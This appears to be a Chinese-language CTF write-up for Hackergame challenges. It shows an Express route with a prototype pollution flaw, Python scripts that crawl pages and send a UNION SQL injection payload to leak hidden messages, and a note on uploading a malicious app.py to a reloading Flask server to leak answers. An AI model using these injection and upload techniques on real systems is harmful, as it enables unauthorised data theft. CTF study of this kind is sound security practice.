app.post("/set", (req, res) => {
const { key, value } = req.body;
const keys = key.split(".");
let current = store;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!current[key]) {
current[key] = {}; //漏洞点
}
current = current[key];
}
// Set the value at the last key
current[keys[keys.length - 1]] = value;
res.json({ message: "OK" });
});
import requests
from bs4 import BeautifulSoup
import re
defcheck_links_for_flag():
base_url = "https://chal01-qtdi3xsf.hack-challenge.lug.ustc.edu.cn:8443"
session = requests.Session()
session.cookies[
'session'] = "eyJ0b2tlbiI6IjE1NDA6TUVVQ0lCSEVXVXhrbnc3OGRTSHRTS0J5RjVPU25HR3Q0K3ZXNWFkZk5LWGlQbHhEQWlFQXZVTWFPMzdmZ0hjVUZNNjFXNGZDbkRmS0hCSXdXQ0VOL3pQaVdWNmY2K1k9In0.Zyz_Rg.dCrUq3qREmG2VearuQW1FUYMRZQ"
list_page = session.get(f"{base_url}/list")
soup = BeautifulSoup(list_page.text, 'html.parser')
links = soup.find_all('a', href=True)
print(f"找到 {len(links)} 个链接")
for link in links:
href = link['href']
if href.startswith('/view'):
try:
response = session.get(f"{base_url}{href}")
if'flag{'in response.text or'FLAG{'in response.text:
print(f"\n在链接 {href} 中发现flag:")
flags = re.findall(r'flag{[^}]+}', response.text)
for flag in flags:
print(flag)
except Exception as e:
print(f"访问 {href} 时出错: {str(e)}")
if __name__ == "__main__":
check_links_for_flag()
在审计list路由代码时发现了只显示参数shown = true的title
而view路由中又产生了SQL注入
在隐藏的对话里找到flag
import requests
defexploit_sql_injection():
base_url = "https://chal01-qtdi3xsf.hack-challenge.lug.ustc.edu.cn:8443"
session = requests.Session()
session.cookies[
'session'] = "eyJ0b2tlbiI6IjE1NDA6TUVVQ0lCSEVXVXhrbnc3OGRTSHRTS0J5RjVPU25HR3Q0K3ZXNWFkZk5LWGlQbHhEQWlFQXZVTWFPMzdmZ0hjVUZNNjFXNGZDbkRmS0hCSXdXQ0VOL3pQaVdWNmY2K1k9In0.Zyz_Rg.dCrUq3qREmG2VearuQW1FUYMRZQ"
payload = "' UNION ALL SELECT title, contents FROM messages WHERE title LIKE '%flag%' OR contents LIKE '%flag%' --"try:
response = session.get(f"{base_url}/view?conversation_id={payload}")
if'flag'in response.text:
print("flag内容:")
print(response.text)
except Exception as e:
print(f"执行出错: {str(e)}")
if __name__ == "__main__":
exploit_sql_injection()
禁止内卷
由于flask的启动命令为flask run --reload --host 0,可以上传一段恶意的app.py来泄露answer.json